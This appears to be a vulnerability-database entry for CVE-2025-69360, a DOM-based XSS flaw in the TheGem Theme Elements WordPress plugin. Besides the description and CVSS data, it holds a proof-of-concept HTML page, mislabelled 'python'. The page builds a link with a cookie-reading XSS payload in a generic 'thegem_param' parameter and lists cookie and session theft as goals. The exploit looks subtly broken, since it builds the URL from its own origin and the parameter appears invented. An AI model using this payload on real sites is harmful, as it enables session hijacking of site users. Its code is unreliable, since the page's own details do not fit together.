CVE-2025-69360

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for WPBakery) thegem-elements allows DOM-Based XSS.This issue affects TheGem Theme Elements (for WPBakery): from n/a through <= 5.11.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements (for WPBakery) <= 5.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-69360 DOM-Based XSS PoC -->
<!-- Target: WordPress with TheGem Theme Elements plugin <= 5.11.0 -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-69360 PoC</title>
</head>
<body>
    <h1>DOM-Based XSS PoC for CVE-2025-69360</h1>
    <p>The following link demonstrates the vulnerability in TheGem Theme Elements plugin:</p>
    
    <script>
        // Generate malicious URL with XSS payload
        function generatePocUrl() {
            // Payload: <img src=x onerror=alert(document.cookie)>
            // This payload is commonly used to bypass basic filters
            const baseUrl = window.location.origin + window.location.pathname;
            const payload = '<img src=x onerror=alert(document.cookie)>';
            const maliciousUrl = baseUrl + '?thegem_param=' + encodeURIComponent(payload);
            
            document.getElementById('poc-link').href = maliciousUrl;
            document.getElementById('poc-link').textContent = maliciousUrl;
            document.getElementById('url-display').textContent = 'Copy and paste this URL into a browser with TheGem Theme Elements installed:';
        }
        
        generatePocUrl();
    </script>
    
    <div id="url-display"></div>
    <a id="poc-link" href="#" target="_blank">Generating URL...</a>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker crafts a malicious URL containing XSS payload in parameter</li>
        <li>Victim clicks the link or visits the page</li>
        <li>TheGem Theme Elements JavaScript processes the parameter without sanitization</li>
        <li>Malicious script executes in victim's browser context</li>
        <li>Attacker can steal cookies, session tokens, or perform actions as the victim</li>
    </ol>
    
    <h2>Impact:</h2>
    <ul>
        <li>Session hijacking</li>
        <li>Credential theft</li>
        <li>Malware distribution</li>
        <li>Website defacement</li>
    </ul>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69360
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69360
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69360/
[4] VulDB https://vuldb.com/cve/CVE-2025-69360
[5] https://patchstack.com/database/Wordpress/Plugin/thegem-elements/vulnerability/wordpress-thegem-theme-elements-for-wpbakery-plugin-5-11-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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